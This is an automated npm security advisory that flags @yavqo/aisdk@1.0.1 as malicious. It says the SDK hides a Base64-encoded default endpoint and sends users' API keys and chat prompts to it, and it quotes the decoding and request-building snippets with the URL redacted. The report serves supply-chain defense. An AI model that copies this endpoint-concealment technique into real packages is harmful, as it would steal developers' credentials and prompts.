---
canonical: "https://firewall.lpm.dev/npm/@yavqo/aisdk/v/1.0.1"
markdown: "https://firewall.lpm.dev/npm/@yavqo/aisdk/v/1.0.1.md"
package: "@yavqo/aisdk"
report_status: "published"
title: "@yavqo/aisdk@1.0.1 npm security report"
verdict: "malicious"
version: "1.0.1"
---

# @yavqo/aisdk@1.0.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Credential and prompt exfiltration to https://opencode.ai/zen/v1.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.0.1
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

On an explicit chat/completion call, the SDK sends supplied prompts and an API key to a concealed default endpoint. The endpoint conflicts with the public Yavqo/Sunlight endpoint metadata.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 94.0%
- **Started:** 2026-08-23T12:04:50.542Z
- **Finished:** 2026-08-23T12:05:49.486Z
- **Download time:** 511 ms
- **Static scan time:** 318 ms
- **AI review time:** 58114 ms
- **Total time:** 58944 ms

## Security analysis

### Published attack-surface review

- **Summary:** On an explicit chat/completion call, the SDK sends supplied prompts and an API key to a concealed default endpoint. The endpoint conflicts with the public Yavqo/Sunlight endpoint metadata.

- **Trigger:** Calling chat.completions.create, generateText, or streaming completion methods without overriding baseURL.

- **Impact:** Credential and prompt exfiltration to https://opencode.ai/zen/v1.

- **Evidence paths:** dist/client.js, dist/models.js, package.json, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-08-23T12:05:49.486Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** obscured foreign endpoint receives Authorization and chat payloads

- **Attack narrative:** The package decodes its actual default base URL at runtime and intentionally avoids exposing it literally. That base URL is inconsistent with the documented Yavqo/Sunlight gateway and model metadata. When a consumer invokes a completion without a baseURL override, the package constructs an Authorization header from its configured/environment key and POSTs the consumer's chat body to the concealed endpoint.

- **Rationale:** Intentional endpoint concealment plus a runtime mismatch with advertised service metadata creates a concrete credential-and-prompt exfiltration path. It is user-call-triggered, but the destination is materially concealed.

- **Network endpoints:** https://opencode.ai/zen/v1, https://api.yavqo.ai/v1/chat/completions

### Review decision

- **Verdict:** Malicious

- **Confidence:** 94.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Default endpoint is Base64-obscured and explicitly hidden from the npm page., Runtime default conflicts with advertised Yavqo/Sunlight endpoint., Configured or environment API key is sent as Authorization on requests., Chat prompts/messages are POSTed to that concealed default endpoint.

- **Evidence against:** No install/preinstall/postinstall hook., No filesystem harvesting, shell execution, persistence, or dynamic payload loading found.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. High: Base64 Obscured Url
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/@yavqo/aisdk@1.0.1/dist/client.js>)

Source decodes a Base64-obscured HTTP endpoint at runtime.

Public source snippet (untrusted):

```javascript
L6: if (typeof atob !== "undefined")
L7: return atob("[redacted]=");
L8: // Node fallback — avoid literal for npm page cleanliness
```

### 6. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 7. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 8. Medium: Stripped Provenance Metadata
- **Category:** Manifest
- **Confidence:** 94.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/@yavqo/aisdk@1.0.1/dist/client.js>)

Configured or environment API key is sent as Authorization on requests.

Public source snippet (untrusted):

```javascript
buildHeaders(extra) {
        const h = {
            "Content-Type": "application/json",
            ...this.headers,
            ...extra,
        };
        if (this.apiKey)
            h["Authorization"] = `Bearer ${this.apiKey}`;
        return h;
    }
    isRetryable(status, retryCodes) {
        return retryCodes.includes(status);
    }
    async requestWithRetry(path, opts) {
        if (!this.apiKey)
            throw new YavqoAuthError();
        const url = `${this.baseURL}${path}`;
        const headers = this.buildHeaders(opts.headers);
        const retryCfg = this.resolveR
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/@yavqo/aisdk@1.0.1/dist/client.js>)

Chat prompts/messages are POSTed to that concealed default endpoint.

Public source snippet (untrusted):

```javascript
async createChatCompletion(opts) {
        const body = this.buildChatBody(opts, false);
        const res = await this.request("/chat/completions", {
            method: "POST",
            body: JSON.stringify(body),
            headers: opts.headers,
            signal: opts.signal,
            retry: opts.retry,
            maxRetries: opts.maxRetries,
        });
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 4
- **Published dependency-graph edges:** 1

### Published dependency entries
- zod ^3.24.0 (Dependency)

## Package metadata
- **Package:** @yavqo/aisdk
- **Ecosystem:** npm
- **Version:** 1.0.1
- **License:** MIT
- **Version published:** 2026-08-23T12:02:26.382Z
- **Package first seen:** 2026-08-23T11:50:49.169Z
- **Package last seen:** 2026-08-23T12:11:14.004Z
- **Known versions:** 3
- **Latest version:** 1.0.2
- **Appeal under review:** No
- **Description:** Official Yavqo AI SDK for Node.js — powered by Sunlight AI. First-class support for Sunlight 2 and Sunlight 2 Pro.
- **Author:** Yavqo
- **Keywords:** ai, sdk, yavqo, sunlight, sunlight-ai, llm, openai, chat, completions
- **Runtime engines:** node: \>=18.0.0
- **Artifact files:** 40
- **Artifact unpacked size:** 146,430 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@yavqo/aisdk/v/1.0.1>)
- [Repository](<https://github.com/yavqo/aisdk.git>)
- [Homepage](<https://yavqo.ai/>)
- [Issues](<https://github.com/yavqo/aisdk/issues>)
